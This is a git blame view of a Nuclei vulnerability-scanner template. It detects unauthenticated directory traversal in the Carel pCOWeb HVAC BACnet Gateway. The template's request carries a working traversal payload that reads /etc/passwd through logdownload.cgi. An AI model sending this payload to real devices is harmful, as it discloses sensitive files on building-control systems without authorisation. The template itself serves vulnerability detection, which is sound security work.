daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/vulnerabilities/other/carel-bacnet-gateway-traver...

30 lines
1.3 KiB
YAML
Raw Normal View History

Update and rename carel-bacnet-gateway-directory-traversal.yaml to carel-bacnet-gateway-traversal.yaml
2022-07-18 08:17:02 +00:00
id: carel-bacnet-gateway-traversal
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-16 01:59:44 +00:00
info:
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-16 01:59:44 +00:00
author: gy741
Dashboard Enhancements + Severity Matching (#5245) Dashboard Enhancements + Severity Matching
2022-08-29 20:21:30 +00:00
severity: high
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-16 01:59:44 +00:00
reference:
- https://www.zeroscience.mk/codes/carelpco_dir.txt
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements
2022-07-26 13:45:11 +00:00
- https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
templateman update
2023-10-14 11:27:55 +00:00
tags: carel,lfi,traversal,unauth,bacnet
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-16 01:59:44 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create carel-bacnet-gateway-directory-traversal.yaml The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-16 01:59:44 +00:00
- method: GET
path:
- "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"
matchers:
- type: regex
regex:
- "root:.*:0:0:"
TemplateMan Update [Fri Oct 20 11:41:12 UTC 2023] :robot:
2023-10-20 11:41:13 +00:00
# digest: 490a00463044022005d90d7ae5983444c844bc85bb658be7ffd713ec128070d3852f3439cf2e2888022027679d47babe999d00c6fdec4dc804478dc39c1e7cb0a12e6569321f3c902188:922c64590222798bb761d5b6d8e72950